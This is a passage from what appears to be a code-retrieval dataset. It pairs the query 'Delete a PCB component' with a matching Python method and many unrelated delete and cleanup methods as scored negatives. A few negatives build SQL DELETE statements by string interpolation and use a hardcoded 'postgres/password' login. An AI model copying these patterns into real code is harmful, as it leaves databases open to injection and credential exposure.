unwind(checkpoints.pop())","def tearDowm(self):\n print(\"\\nIn tearDowm()...\")","def terminate(self):","def stop_region(self):\n self.region_edge = None\n self.region_id = None\n self.region_model.finish_regions()","def delMessage(self):\r\n\r\n if not self.isClosed:\r\n if self.__message != '':\r\n self.__message = ''\r\n else:\r\n raise HDDOPermissionException('Tried to remove non-existing message from a HealthDominoDataObject.')\r\n else:\r\n raise HDDOPermissionException('Tried to remove message from a closed HealthDominoDataObject.')","def clear():\r\n eOne.delete(0,END)\r\n eTwo.delete(0,END)\r\n eThree.delete(0,END)\r\n eFour.delete(0,END)","def delete_this_region(self):","def dessicate(self) -> None:\n self.vector = None","def __delete__(self, instance):\n self._lib_vscf_ecc.vscf_ecc_delete(self.ctx)","def delete(self):\n del self.shx.atoms[self.index]","def CleanUp(self):\n for Ind in self.IndList():\n if amax(abs(self[Ind]))<1e-10:\n del self[Ind]","def die(self):\n print(\"Company\", self.ticker, \"left the universe\")\n del self\n Company.population -= 1","def _cleanup(self):\n\n self.netIns = []\n self.netOuts = []\n self.Gradients = [None]*self.size","def clean(self):\n self.decay()\n self.hit_count = 0.0\n self.out_layer.cost = 0.0\n self.batch_loss = 0.0","def __del__(self):\r\n self.cleanup()","def __delete__(self):\n pass","def kill(self):\n assert not self.destroyed\n self.destroyed = True\n print(\"Signal.KILL\")\n pass # kill the game piece","def erase(self):\r\n self.in_arrow = None\r\n self.out_arrow = None","def leave(self):\n self.num_leaves += 1","def __del__(self):\n self._destruct()","def __del__(self) -> None:\n self.delete()","def remove(self):\n self.node.destroy()","def destroy(self):\n pass # Nothing for now","def judge_destroy(self):\n pass","def forget(self):\n self.ingress_tbl.clear()\n self.rootsw_tbl.clear()","def remove_bad_experience(self):\n average = self.average()\n to_delete = []\n for i, t in enumerate(self.memory):\n if t.reward < average:\n to_delete.append(i)\n f = 0 \n for d in to_delete:\n del self.memory[d-f]\n f += 1","def delete(self) -> None:\n self.pop()"],"string":"[\n \"def die(self):\\n self.pjs.bombermen.remove(self)\\n for block in self.physics.blocks[self.stype]:\\n if block == self.rects[0]:\\n self.physics.blocks[self.stype].remove(block)\",\n \"def eraseLastSeg(self):\\n self.can.delete(self.segs.pop().getGraphicObject())\",\n \"def clear(self) -> None:\\n self._loss_dict.clear()\",\n \"def delete(self):\\n if self.shape is not None:\\n self.shape.delete()\\n if self in shared.obstacles:\\n shared.obstacles.remove(self)\",\n \"def delete(self):\\n Texture2D.delete_glo(self._ctx, self._glo)\\n self._glo.value = 0\",\n \"def __del__(self):\\n \\n _cantera.wall_del(self.__wall_id)\",\n \"def __del__(self):\\n self.slaves.end()\",\n \"def losses(self):\\n pass\",\n \"def remove(self):\\n\\n self.last_move = \\\"\\\"\\n self.collision_boxes = []\\n self.removed=True\",\n \"def test_model_deleting_works_properly(self):\\r\\n e1 = TestEdge.create(self.v1, self.v2, numbers=3)\\r\\n \\r\\n e1.delete()\\r\\n edges = self.v1.outE()\\r\\n assert len(edges) == 0\",\n \"def __del__(self):\\n del self.board_\\n del self.children_edges_\\n self.board_ = None\\n del self.parent_edge_\\n # print(\\\"destruct node\\\")\",\n \"def __del__(self):\\n try:\\n pybullet.disconnect(physicsClientId=self._client)\\n except pybullet.error:\\n pass\",\n \"def rm_calibration(self):\\n\\n self.bin_edges_kev = None\",\n \"def delete_ball(self):\\r\\n self.movement = \\\"\\\"\\r\\n self.canvas.delete(self.ball)\",\n \"def del_cells(self):\\t\\r\\n del self._cells\",\n \"def deleteCheckpoint(self):\\n if len(self.__stack) == 0:\\n raise EmptyStackException()\\n self.__stack = self.__stack[:-1]\",\n \"def drop_message(self):\\n heapq.heappop(self._message_queue)\",\n \"def delY(self):\\n del self.components[1]\",\n \"def delY(self):\\n del self.components[1]\",\n \"def __del__(self):\\n self._screen._removePen(self)\\n del self._turtle\",\n \"def erase(self):\\n pass\",\n \"def drop(self):\\n for step in self.steps:\\n step[1].drop()\",\n \"def kill(self):\\n for piece in self.board.pieces:\\n piece.destroyed = True\",\n \"def delete_grid(self):\\n\\n\\t\\tself.a_grid = None\\t\\t# Deletes the object from memory\",\n \"def delX(self):\\n del self.components[0]\",\n \"def delX(self):\\n del self.components[0]\",\n \"def deleteDouble(self):\\n prev=None\\n for x in reversed(self.activeFrames):\\n if(prev):\\n if(isinstance(x ,prev.__class__)):\\n del self.activeFrames[self.activeFrames.index(prev)]\\n prev=x\",\n \"def delDimension(self):\\n self.components = []\",\n \"def clear(self):\\n self._multivol.deallocate(self.id)\",\n \"def cleanup(self):\\n self.msgmap.clear()\\n self.droppedmsgs.clear()\\n self.chan.stop_receiving_messages()\\n\\n # TODO: enable\\n #self.cmdMap.clear()\\n #self.cmdCliSubmitQueue.clear()\\n #self.cmdSvrComputeQueue.clear()\\n #self.droppedCommands.clear()\\n #self.ch.stop_receiving_commands()\",\n \"def __del__(self):\\n self.stop()\",\n \"def __del__(self):\\n self.stop()\",\n \"def __del__(self):\\n self.stop()\",\n \"def __del__(self):\\n self.stop()\",\n \"def __del__(self):\\r\\n self.chunk = None\",\n \"def destroy(self):\\n # Remove the synapses from all data structures outside this Segment.\\n for synapse in self.__synapses:\\n self._connectionGroup._removeSynapseFromPresynapticMap(synapse)\\n self._connectionGroup._numSynapses -= len(segment._synapses)\\n\\n # Remove the segment from the cell's list.\\n segments = self.cell._segments\\n i = segments.index(self)\\n del segments[i]\\n\\n # Free the flatIdx and remove the final reference so the Segment can be\\n # garbage-collected.\\n self._connectionGroup._freeUIDs.append(self.UID)\\n self._connectionGroup._segmentForUID[self.UID] = None\",\n \"def deleteBolts(self):\\n a = self.get_bolts()\\n for i in self.get_bolts():\\n if i.y>GAME_HEIGHT:\\n a.remove(i)\\n self.set_plyrbolts(0)\\n elif i.y<=-BOLT_HEIGHT:\\n a.remove(i)\",\n \"def remove():\",\n \"def remove_life(self):\\r\\n if self.__lives < 0:\\r\\n self.__lives -= 1\",\n \"def clear_press(self):\\n\\n for win in self.window.additional_windows:\\n win.del_win()\\n\\n pos = self.window.physics_canvas.physics_objects\\n self.window.physics_canvas.physics_objects = []\\n\\n for obj in pos:\\n self.window.physics_canvas.canvas.delete(obj.canvas_id)\\n\\n for force in self.window.physics_canvas.interacting_forces:\\n force.remove()\\n\\n for particle in self.window.physics_canvas.particles:\\n self.window.physics_canvas.canvas.delete(particle.canvas_id)\",\n \"def cleanup(self):\\n self.GP.cleanup()\",\n \"def abort(self):\\n for key in self.listeners:\\n sem = self.listeners[key]\\n self.listeners[key] = None\\n\\n # TODO: Received data and semahore should be stored separately\\n if isinstance(sem, asyncio.Semaphore):\\n sem.release()\",\n \"def deallocate(self):\\n raise NotImplementedError\",\n \"def delete(self):\\n self.graph._del(handle=self.handle)\",\n \"def clear(self):\\n poc_grid.Grid.clear(self)\\n self._fire_boundary.clear()\",\n \"def deleteBall(self):\\n self._ball = None\",\n \"def JointDestroyed(self, joint):\\r\\n\\t\\tpass\",\n \"def drop(self):\\n pass\",\n \"def drop(self):\\n pass\",\n \"def __del__(self):\\n self.Clear()\",\n \"def bye(self):\\n self._frame._destroy()\\n self._turtles = []\\n self._gpens = []\\n del self._frame\",\n \"def remove(self):\\r\\n\\t\\tself._delete()\",\n \"def __del__(self):\\n\\t\\tself._pc.gid_clear()\",\n \"def __del__(self):\\n try:\\n self._frame._destroy()\\n except:\\n pass\\n self._turtles = []\\n self._pencils = []\\n del self._frame\",\n \"def clean(self):\\n # Delete vertices / faces / colors / normals :\\n self._vert_buffer.delete()\\n self._index_buffer.delete()\\n self._normals_buffer.delete()\\n self._xrange_buffer.delete()\\n self._math_buffer.delete()\",\n \"def reset(self):\\n\\n logger.info('Removed existing OpenMM engine.')\\n self._simulation = None\",\n \"def remove(self):\",\n \"def __del__(self):\\n\\n # Base class destructor is called ?? needed\\n sim.Simulation.__del__(self)\\n\\n if self.verbose:\\n print \\\"Cleaning derived simulation object LAMMPS1\\\"\\n\\n del self.pairCoeffDct\\n del self.bondCoeffDct\",\n \"def del_ly(self):\\r\\n del self._ly\",\n \"def removeScene(self):\\n del self.scene, self.imgPixmapItem\",\n \"def __exit__(self, exc_type, exc_val, exc_tb):\\n printy(\\\"Cleaning after myself...\\\")\\n self.key.delete()\\n if self.instance:\\n self.instance.terminate()\\n # wait for the machine to terminate\\n self.wait_for_status(48)\\n\\n self.sec_grp.delete()\\n os.remove(self.key.name + \\\".pem\\\")\\n printy(\\\"Builder teardown complete\\\")\",\n \"def leave(self, fsm):\\n pass\",\n \"def JointDestroyed(self, joint):\\n pass\",\n \"def deleteAllNeedlesFromScene(self):\\n #productive #onButton\\n profprint()\\n while slicer.util.getNodes('python-catch-round_'+str(self.round)+'*') != {}:\\n nodes = slicer.util.getNodes('python-catch-round_'+str(self.round)+'*')\\n for node in nodes.values():\\n slicer.mrmlScene.RemoveNode(node)\",\n \"def remove(self):\\n self.inp.inputs.discard(self)\\n self.out.outputs.discard(self)\",\n \"def close_visualization(self) -> None:\\n for id in self.visual_ids:\\n pybullet.removeBody(id)\\n self.visual_ids = []\",\n \"def unload(self):\\n\\n self._layerManager.disconnectExtentEvent()\\n if self._queues:\\n self._queues.close()\\n self._queues = None \\n self.uidm.killDm()\\n self.iface.mainWindow().removeToolBar(self._toolbar)\\n self.iface.removeToolBarIcon(self._loadaction)\\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin',self._loadaction)\\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._createnewaddressaction)\\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._deladdressaction)\\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._updateaddressaction)\\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._moveaddressaction)\\n #self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._lineageaction)\\n self.iface.removePluginMenu(\\\"&QGIS-AIMS-Plugin'\\\", self._highlightaction)\\n self._layerManager\",\n \"def clean(self):\\n for i in range(len(self.asteroid_type) - 1, -1, -1):\\n x, y = self.get_coords(self.asteroid_type[i])\\n if x < -self.gap:\\n self.del_asteroid(i)\",\n \"def end_and_close(self):\\n self.sim._model.swmm_end()\\n self.sim._model.swmm_close()\\n pass\",\n \"def delete(self, *args, **kwargs):\\n\\t\\tself.emo_img.delete(False)\\n\\t\\tsuper(Emotion, self).delete(*args, **kwargs)\",\n \"def discard(self):\\r\\n self.pushes.pop()\",\n \"def onLoseCell(self):\\n\\t\\t# Destroy base\\n\\t\\tif not self.isDestroyed:\\n\\t\\t\\tself.destroy()\\n\\t\\tDEBUG_MSG('Avatar::onLoseCell: %i' % self.id)\",\n \"def delete_poses():\\n global saved_marshmallow_pose\\n global saved_mouth_pose\\n saved_marshmallow_pose = None\\n saved_mouth_pose = None\\n print \\\"Deleted poses\\\"\",\n \"def checkpoint_unset():\\n unwind(checkpoints.pop())\",\n \"def tearDowm(self):\\n print(\\\"\\\\nIn tearDowm()...\\\")\",\n \"def terminate(self):\",\n \"def stop_region(self):\\n self.region_edge = None\\n self.region_id = None\\n self.region_model.finish_regions()\",\n \"def delMessage(self):\\r\\n\\r\\n if not self.isClosed:\\r\\n if self.__message != '':\\r\\n self.__message = ''\\r\\n else:\\r\\n raise HDDOPermissionException('Tried to remove non-existing message from a HealthDominoDataObject.')\\r\\n else:\\r\\n raise HDDOPermissionException('Tried to remove message from a closed HealthDominoDataObject.')\",\n \"def clear():\\r\\n eOne.delete(0,END)\\r\\n eTwo.delete(0,END)\\r\\n eThree.delete(0,END)\\r\\n eFour.delete(0,END)\",\n \"def delete_this_region(self):\",\n \"def dessicate(self) -> None:\\n self.vector = None\",\n \"def __delete__(self, instance):\\n self._lib_vscf_ecc.vscf_ecc_delete(self.ctx)\",\n \"def delete(self):\\n del self.shx.atoms[self.index]\",\n \"def CleanUp(self):\\n for Ind in self.IndList():\\n if amax(abs(self[Ind]))<1e-10:\\n del self[Ind]\",\n \"def die(self):\\n print(\\\"Company\\\", self.ticker, \\\"left the universe\\\")\\n del self\\n Company.population -= 1\",\n \"def _cleanup(self):\\n\\n self.netIns = []\\n self.netOuts = []\\n self.Gradients = [None]*self.size\",\n \"def clean(self):\\n self.decay()\\n self.hit_count = 0.0\\n self.out_layer.cost = 0.0\\n self.batch_loss = 0.0\",\n \"def __del__(self):\\r\\n self.cleanup()\",\n \"def __delete__(self):\\n pass\",\n \"def kill(self):\\n assert not self.destroyed\\n self.destroyed = True\\n print(\\\"Signal.KILL\\\")\\n pass # kill the game piece\",\n \"def erase(self):\\r\\n self.in_arrow = None\\r\\n self.out_arrow = None\",\n \"def leave(self):\\n self.num_leaves += 1\",\n \"def __del__(self):\\n self._destruct()\",\n \"def __del__(self) -> None:\\n self.delete()\",\n \"def remove(self):\\n self.node.destroy()\",\n \"def destroy(self):\\n pass # Nothing for now\",\n \"def judge_destroy(self):\\n pass\",\n \"def forget(self):\\n self.ingress_tbl.clear()\\n self.rootsw_tbl.clear()\",\n \"def remove_bad_experience(self):\\n average = self.average()\\n to_delete = []\\n for i, t in enumerate(self.memory):\\n if t.reward < average:\\n to_delete.append(i)\\n f = 0 \\n for d in to_delete:\\n del self.memory[d-f]\\n f += 1\",\n \"def delete(self) -> None:\\n self.pop()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6453558","0.618556","0.6140863","0.6094852","0.6082206","0.6014098","0.59995145","0.5951281","0.5936723","0.57956755","0.57941866","0.57794243","0.5707698","0.5691199","0.56879765","0.5686631","0.56787246","0.56636286","0.56636286","0.5652219","0.5651719","0.5636647","0.5630484","0.5593554","0.55835104","0.55835104","0.55761844","0.5574092","0.55713123","0.5558968","0.55434865","0.55434865","0.55434865","0.55434865","0.55340743","0.5531908","0.55301416","0.55299485","0.55276567","0.5507627","0.550238","0.54865044","0.5482782","0.54816633","0.5479145","0.547314","0.54661083","0.5453888","0.5453888","0.54514205","0.544498","0.5442791","0.5440934","0.5438954","0.5437006","0.5431513","0.5428263","0.5420858","0.5418391","0.54179955","0.54154253","0.5414552","0.54131424","0.5412562","0.5411966","0.53957886","0.5388169","0.53868407","0.5385731","0.53818333","0.538006","0.5372297","0.536947","0.5361296","0.53551453","0.5353526","0.53532815","0.5352624","0.534421","0.5343983","0.53415376","0.53360367","0.5335391","0.5329223","0.5327458","0.53261536","0.5325313","0.5322501","0.53217185","0.532153","0.5317197","0.5315739","0.5315581","0.5309061","0.530385","0.5302962","0.5299158","0.529877","0.5297969","0.5297015"],"string":"[\n \"0.6453558\",\n \"0.618556\",\n \"0.6140863\",\n \"0.6094852\",\n \"0.6082206\",\n \"0.6014098\",\n \"0.59995145\",\n \"0.5951281\",\n \"0.5936723\",\n \"0.57956755\",\n \"0.57941866\",\n \"0.57794243\",\n \"0.5707698\",\n \"0.5691199\",\n \"0.56879765\",\n \"0.5686631\",\n \"0.56787246\",\n \"0.56636286\",\n \"0.56636286\",\n \"0.5652219\",\n \"0.5651719\",\n \"0.5636647\",\n \"0.5630484\",\n \"0.5593554\",\n \"0.55835104\",\n \"0.55835104\",\n \"0.55761844\",\n \"0.5574092\",\n \"0.55713123\",\n \"0.5558968\",\n \"0.55434865\",\n \"0.55434865\",\n \"0.55434865\",\n \"0.55434865\",\n \"0.55340743\",\n \"0.5531908\",\n \"0.55301416\",\n \"0.55299485\",\n \"0.55276567\",\n \"0.5507627\",\n \"0.550238\",\n \"0.54865044\",\n \"0.5482782\",\n \"0.54816633\",\n \"0.5479145\",\n \"0.547314\",\n \"0.54661083\",\n \"0.5453888\",\n \"0.5453888\",\n \"0.54514205\",\n \"0.544498\",\n \"0.5442791\",\n \"0.5440934\",\n \"0.5438954\",\n \"0.5437006\",\n \"0.5431513\",\n \"0.5428263\",\n \"0.5420858\",\n \"0.5418391\",\n \"0.54179955\",\n \"0.54154253\",\n \"0.5414552\",\n \"0.54131424\",\n \"0.5412562\",\n \"0.5411966\",\n \"0.53957886\",\n \"0.5388169\",\n \"0.53868407\",\n \"0.5385731\",\n \"0.53818333\",\n \"0.538006\",\n \"0.5372297\",\n \"0.536947\",\n \"0.5361296\",\n \"0.53551453\",\n \"0.5353526\",\n \"0.53532815\",\n \"0.5352624\",\n \"0.534421\",\n \"0.5343983\",\n \"0.53415376\",\n \"0.53360367\",\n \"0.5335391\",\n \"0.5329223\",\n \"0.5327458\",\n \"0.53261536\",\n \"0.5325313\",\n \"0.5322501\",\n \"0.53217185\",\n \"0.532153\",\n \"0.5317197\",\n \"0.5315739\",\n \"0.5315581\",\n \"0.5309061\",\n \"0.530385\",\n \"0.5302962\",\n \"0.5299158\",\n \"0.529877\",\n \"0.5297969\",\n \"0.5297015\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.63696367"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":80089,"cells":{"query":{"kind":"string","value":"Delete a PCB component."},"document":{"kind":"string","value":"def delete_pcb_component(self, comp_name):\n arg = [\"NAME:Selections\", \"Selections:=\", comp_name]\n\n self.modeler.oeditor.Delete(arg)\n return True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def delcomponent(self,\n context=[],\n componentid=None):\n if componentid == None:\n raise ValueError, \"delcomponent: componentid is None\"\n return jsoncall.do_call(\"delcomponent\", {'modelname':self.modelname,\\\n 'user':self.user,\\\n 'password':self.password,\\\n 'context':context,\\\n 'componentid':componentid},\n self.connection)","def delete(args, config):\n print('Deletes a selected HPC fleet with name \"{}\"'.format(args.fleet_name))","def remove(self, component) -> None:\n pass","def remove_component(self, component: Component):\n self.nexus.component_removed.emit(component.name)\n self.nexus.delete_node(component.group)","def deleteDevice(serial):\n swDB = switchdb.DB()\n swDB.deleteBySerial(serial)\n swDB.close()","def test_component_remove_ok(self):\n test_name = sys._getframe().f_code.co_name\n self._execute('component remove component1')\n rv, output = self._execute('component list')\n self.assertEqual(0, rv)\n self.assertEqual(self.expected_results[test_name], output)","def test_model_flow_node_model_flow_id_node_id_component_delete(self):\n pass","def remove_component(self, component):\n component.remove()\n self._changed = True","def RemoveComponent(self, *args):\n return _XCAFDoc.XCAFDoc_ShapeTool_RemoveComponent(self, *args)","def delete_command():\n global selected_tuple\n backend.delete(selected_tuple[0])","def delete_address(self) -> object:\n self.delete_button.click()\n\n return DeletionModal(self).wait_for_component_to_be_present()","def test_remove_component():\n\n component = application_services.get_component('database.component')\n application_services.remove_component(component.get_id())\n\n with pytest.raises(ComponentAttributeError):\n application_services.get_component('database.component')\n\n application_services.register_component(component)","def remove_comp(self, component):\n if hasattr(component, 'name'):\n component = component.name\n try:\n del self['pore.mole_fraction.' + component]\n except KeyError:\n pass","def delete_field(self):\n self.exec_command(b\"DeleteField\")","def remove_component(self, c):\n if isinstance(c, ComponentViewer):\n component_id = c.id\n c._view = None\n else:\n component_id = c\n self._clear_component_auto_completion()\n if self._trajlist:\n for traj in self._trajlist:\n if traj.id == component_id:\n self._trajlist.remove(traj)\n component_index = self._ngl_component_ids.index(component_id)\n self._ngl_component_ids.remove(component_id)\n self._ngl_component_names.pop(component_index)\n\n self._remote_call(\n 'removeComponent', target='Stage', args=[\n component_index,\n ])\n\n self._update_component_auto_completion()","def delete_device(self):\n # PROTECTED REGION ID(CspSubElementSubarray.delete_device) ENABLED START #\n # PROTECTED REGION END # // CspSubElementSubarray.delete_device","def delX(self):\n del self.components[0]","def delX(self):\n del self.components[0]","def delete(self, c_path):\n raise NotImplementedError","def delete(self, params=None):\n self.logger.debug('Deleting {resource_type} with parameters:'\n ' {params}'.format(resource_type=self.type_name,\n params=params))\n self.client.delete_pipeline(**params)","def delete(ctx: click.Context, repository_path):\n root_commands.cmd_delete(ctx.obj, repository_path)","def delete():","def delete(self, request, p_name):\n project = Project.objects.get(name=p_name)\n connectors = project.connector_set.all()\n connectors.delete()\n if os.path.isfile(project.project_location):\n os.remove(project.project_location)\n project.delete()\n return HttpResponse(HTTPStatus.OK)","def delete_device(self):\n # PROTECTED REGION ID(CbfSubarray.delete_device) ENABLED START #\n\n pass\n # PROTECTED REGION END # // CbfSubarray.delete_device","def delete_controller(cls, args, config):\n # print \"MOLNSProvider.delete_provider(args={0}, config={1})\".format(args, config)\n if len(args) == 0:\n raise MOLNSException(\"USAGE: molns cluser delete name\")\n config.delete_object(name=args[0], kind='Controller')","def delete():\n Course.print_all_crs()\n course_name = input(\"Please, type course name >\")\n c = Course(course_name)\n if c.is_course_exists():\n db = Course._file.read_db()\n for crs_i in range(len(db[\"courses\"])):\n if db[\"courses\"][crs_i][\"course_name\"] == course_name:\n del db[\"courses\"][crs_i]\n break\n Course._file.write_db(db)\n print(\"{} course is deleted\".format(course_name))\n else:\n print(\"Failed. {} course does not exist\".format(course_name))","def delete(self):\n self.parser.add_argument('lp_id',\n help=\"Language pack id\")\n args = self.parser.parse_args()\n self.client.languagepacks.delete(lp_id=args.lp_id)","def delete(self, registration):\n return Car.delete(registration)","def delete():\n\n # Check the pipe setup.\n check_pipe_setup(sequence=True, j=True)\n\n # The interatomic data.\n for interatom in interatomic_loop():\n # The data.\n if hasattr(interatom, 'j_coupling'):\n del interatom.j_coupling\n\n # The error.\n if hasattr(interatom, 'j_coupling_err'):\n del interatom.j_coupling_err","def delete(self, controller, virtual_drive='all'):\n return self.run('/c{} /v{} del force'.format(controller, virtual_drive))","def delete(self):\n logger.info('Delete the port chain: %s' % self.name)\n # Delete port chain\n self.pc_client.delete('port_chain', self.name)\n\n logger.info('Delete the flow classifier.')\n self.pc_client.delete('flow_classifier', self.flow_conf['name'])\n\n # Delete all port pair groups\n logger.info('Delete port pair groups and port pairs.')\n srv_ppgrp_lst = self.srv_chain.get_srv_ppgrp_id()\n for grp_idx in range(len(srv_ppgrp_lst)):\n pp_grp_name = 'pp_grp_%s' % grp_idx\n self.pc_client.delete('port_pair_group', pp_grp_name)\n\n # Delete all port pairs\n for grp_idx, pp_grp in enumerate(srv_ppgrp_lst):\n for pp_idx in range(len(pp_grp)):\n pp_name = 'pp_%s_%s' % (grp_idx, pp_idx)\n self.pc_client.delete('port_pair', pp_name)","def removeCompartment(self, *args):\n return _libsbml.Model_removeCompartment(self, *args)","def delete_plant(db_path: str, plant: Plant) -> None:\n # Since the names need to be unique in the SQL Databse\n # we can filter on the specific name\n query = f\"DELETE FROM plants WHERE name='{plant.name}'\"\n\n conn: Connection = sqlite3.connect(path.join(db_path, 'company_data.db'))\n curr: Cursor = conn.cursor()\n try:\n curr.execute(query)\n except sqlite3.IntegrityError:\n raise ValueError(\"There was an error\")\n\n conn.commit()\n curr.close()\n conn.close()","def delete():\n add_book_tk = DeleteBookDialog()\n entries_args = [\n (\"Book ID : \", 0.5),\n ]\n add_book_tk.create_components(entries_args)\n add_book_tk.mainloop()","def delete(self, name):\n instance = self.get_one_instance('name', name)\n\n if type(instance) != self.Component:\n set_session_var('errors', str(instance))\n return None\n\n res = delete_in_db(instance)\n\n if res != 'deleted':\n set_session_var('errors', str(res))\n else:\n set_session_var('success', res)\n\n return True","def deletePod(peaPodInstance,**kwargs):\n\treturnToHome=True\n\treturnToHome=kwargs.get(\"returnToHome\",returnToHome)\n\n\tchoice=messagebox.askokcancel(\"Sure\",\"Are you sure you want to delete this pod?\")\n\tif choice:\n\t\tcurrentMaster=masterPod.currentMasterPod\n\t\tfor pea in currentMaster.peas:\n\t\t\tcurrentPeaPod=currentMaster.peas[pea]\n\t\t\tif currentPeaPod == peaPodInstance:\n\t\t\t\tdel currentMaster.peas[pea]\n\t\t\t\tbreak\n\t\t#Save\n\t\tcurrentMaster.save()\n\n\t\tif returnToHome:\n\t\t\tgoHome()","def delete_flow_via_controller(qualifiers, controller, name=None):\n flow_command = \"flow_delete\"\n flow = qualifiers\n if not name:\n name = 'flow1'\n if controller.name == 'nox':\n controller.setprop(flow_command, [flow_command, flow])\n elif controller.name == 'floodlight':\n controller.setprop(flow_command, ['flow_delete', name])\n elif controller.name == 'oftest':\n controller.setprop(flow_command, [flow])","def delete_part():\n if request.method==\"POST\":\n if request.form['del']==\"\":\n return render_template(\n \"delete-parterre.html\",\n liste = get_parterres(),\n title = \"Supprimer un parterre\")\n else:\n a = get_parterre(int(request.form['del']))\n a.clear_datas()\n for capteur in a.get_capteurs():\n a.delete_capteur(capteur)\n capteur.set_parterre(1)\n p = Actions(\n contenu = \"Suppresion du parterre \"+a.get_name(),\n liste = 1\n )\n db.session.add(p)\n db.session.delete(a)\n db.session.commit()\n return render_template(\n \"delete-parterre.html\",\n liste = get_parterres(),\n title = \"Supprimer un parterre\")","def delete(parameters, session):\n from Modules.Classes.ExperimentalScenario import ExperimentalScenario\n # Received --> [id_exeriment]\n # Retrieve all scenarios associated with target experiment\n exp_sc = session.query(ExperimentalScenario).filter(ExperimentalScenario.experiment_id == parameters[0]).all()\n for item in exp_sc:\n # Retrieve all ExperimentalScenarioPattern association for current experimental scenario\n exp_scenarios_pat = session.query(ExperimentalScenarioPattern).filter(and_(\n ExperimentalScenarioPattern.experimental_scenario_id == item.id,\n ExperimentalScenarioPattern.pattern_type == 2)).all()\n for item2 in exp_scenarios_pat:\n session.delete(item2)\n session.commit()\n session.close()\n msg_rspt = Message(action=2, comment='Register deleted successfully')\n return msg_rspt","def delete_composed_node(cls, composed_node_uuid):\n cls.dbdriver.delete_composed_node(composed_node_uuid)","def garage_controller_delete(self, garage_controller_id=None, path=None):\n if path == None:\n path = []\n if garage_controller_id:\n path.insert(0, garage_controller_id)\n path.insert(0, \"garagecontroller\")\n location = '/'.join(path)\n return self.send_delete(location, params={})","def _delete_subport(self, trunk, subport, df_parent):\n id_ = self._get_subport_id(trunk, subport)\n model = trunk_models.ChildPortSegmentation(\n id=id_,\n topic=trunk.project_id\n )\n self.nb_api.delete(model)","def remove_component(self, sCompName):\n del self._dComponents[sCompName]","def delete(self):\n self.log.info('Deleting')\n self._state = PonPort.State.DELETING\n self._cancel_deferred()","def delete_model(self, request, obj):\n obj.post.comNumDrease()\n obj.delete()","def firmware_pack_remove(handle, org_name, name, org_parent=\"org-root\"):\n org_dn = org_parent + \"/org-\" + org_name\n p_mo = handle.query_dn(org_dn)\n if not p_mo:\n log.info(\"Sub-Org <%s> not found!\" %org_name)\n else:\n fw_dn= org_dn + \"/fw-host-pack-\" + name\n mo = handle.query_dn(fw_dn)\n if not mo:\n log.info(\"Firmware host pack <%s> not found.Nothing to remove\" % name)\n else:\n handle.remove_mo(mo)\n handle.commit()","def delete_fleet(Name=None):\n pass","def delete(self, *args, **kwargs):\n print(\"form delete\")\n self.is_deleted = True\n current_section_sequence = self.section_sequence\n\n #This can be modified if we have to hard delete the sections\n\n # for sec_id in current_section_sequence:\n # current_section = Sections.objects.get(id = sec_id )\n # current_section.delete()\n\n self.save()","def sr_remove_c():\n req_data = request.get_json()\n logging.debug(\"req_data = \" + str(req_data))\n\n product_name = req_data['product_name']\n version_number = req_data['version_number']\n name = req_data['name']\n version = req_data['version']\n destination = req_data['destination']\n\n outcome = {\"name\": \"Fail\"}\n\n try:\n # create new association\n c_id = Component.query.filter_by(name=name, version=version).first().id\n sr_id = SoftwareRelease.query.filter_by(product_name=product_name, version_number=version_number).first().id\n a = Association.query.filter_by(software_release_id=sr_id, component_id=c_id, destination=destination).first()\n\n db.session.delete(a)\n\n db.session.commit()\n outcome['name'] = \"Success\"\n except:\n db.session.rollback()\n raise\n finally:\n db.session.close()\n return jsonify(outcome)","def delete_field(request):\n try:\n bpo_topic = BPOTopic.objects.get(id=ObjectId(request.POST.get('topic_id')))\n bpo_field = BPOField.objects.get(id=ObjectId(request.POST.get('field_id')))\n bpo_topic.fields.remove(ObjectId(bpo_field.id))\n bpo_topic.save()\n bpo_field.delete()\n except Exception as e:\n return HttpResponseBadRequest(e)\n else:\n return HttpResponse(json.dumps({'status': 'success'}), mimetype=\"application/x-javascript\")","def delete_product(self):\n id = self.lineEdit_id.text()\n if len(self.lineEdit_name.text()) != 0 and len(self.lineEdit_desc.text()) != 0 and len(\n self.lineEdit_cost.text()) != 0 and len(self.lineEdit_cat.text()) != 0:\n if id.isnumeric():\n try:\n delete_product(id)\n self.frame_3.show()\n self.label_16.setText('SUCESSFULLY DELETED PRODUCT!')\n self.clear_fields()\n except:\n self.frame_3.show()\n self.label_16.setText('ERROR DELETING PRODUCT!')\n else:\n self.frame_3.show()\n self.label_16.setText('THERE CAN BE NO BLANCK FIELDS!')","def delete(self, *args, **kwargs):\n pass","def delete(self, *args, **kwargs):\n pass","def delete(self):\n ...","def hfp_delete(handle, org_dn, name):\r\n\r\n dn = org_dn + \"/fw-host-pack-\" + name\r\n mo = handle.query_dn(dn)\r\n if mo is None:\r\n raise ValueError(\"HFP '%s' does not exist\" % dn)\r\n\r\n handle.remove_mo(mo)\r\n handle.commit()","def test_component_remove_error_bad_component(self):\n test_name = sys._getframe().f_code.co_name\n rv, output = self._execute('component remove bad_component')\n self.assertEqual(2, rv)\n self.assertEqual(self.expected_results[test_name], output)","def delete_book(code: str):\n pass","def vehicle_delete(body): # noqa: E501\n if connexion.request.is_json:\n body = Vehicle.from_dict(connexion.request.get_json()) # noqa: E501\n # Create connection to the DB and cursor.\n if os.environ[\"DATABASE_URL\"]:\n conn = psycopg2.connect(os.environ[\"DATABASE_URL\"])\n else:\n conn = psycopg2.connect(\n \"host=localhost dbname=accidents_raw user=postgres password=password\")\n cur = conn.cursor()\n\n statement = \"DELETE FROM vehicles WHERE ST_CASE = \" + body.st_case\n cur.execute(statement)\n\n # Print result from delete command\n print(cur.statusmessage)\n\n conn.commit()\n response = ApiResponse(code=200, type=\"Good\", message=\"Successful delete\")\n return response","def delete_servicech(self, conf, phone_num):\n\t\tpass","def del_component(self, k):\n 